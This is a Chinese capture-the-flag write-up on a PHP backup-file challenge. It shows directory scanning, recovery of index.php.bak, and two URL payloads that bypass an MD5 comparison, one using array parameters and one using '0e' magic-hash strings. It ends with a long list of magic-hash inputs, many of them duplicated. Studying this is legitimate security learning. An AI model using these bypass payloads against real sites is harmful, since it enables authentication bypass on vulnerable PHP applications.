
提示词:备份
查看源代码,好像是经过MD5加密的,但是MD5加密出来时32位,这里是64位,应该是两段加密叠加的,并且是一样的

d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e

扫描了一下网站目录,有一个flag.php,但是是空白的
bash
python dirsearch.py -u http://117.72.52.127:18232/


题目提示备份,想到备份文件:/index.php.bak(备份文件)


访问备份网站连接,下载备份文件

记事本打开备份文件,是一段PHP代码,

bash
核心验证逻辑:
1.md5($key1)==md5($key2):要求MD5值弱相等(允许哈希碰撞)
2.$key1!==$key2:要求变量内容不相同
即需要两个不同的key,但是两个key的MD5值相同
(1)方法一:MD5无法处理数组,当参数为数组是会返回NULL(key不同,MD5值不存在都为NULL)
bash
http://117.72.52.127:18232/?kekeyy1[]=aaa&kekeyy2[]=bb

(2)方法二:PHP弱比较结合哈希碰撞
即使用PHP弱比较==漏洞(key不同,MD5值存在且都为0)
如果两个字符经过md5加密后的值是0exxxxx形式,在科学计数法中会被认为是0*10的几次方的,结果是0。
bash
http://117.72.52.127:18232/?kekeyy1=QLTHNDT&kekeyy2=QNKCDZO

可以积累一些常见的PHP弱类型比较进行哈希碰撞
数字类型:
bash
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
字符类型:
bash
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536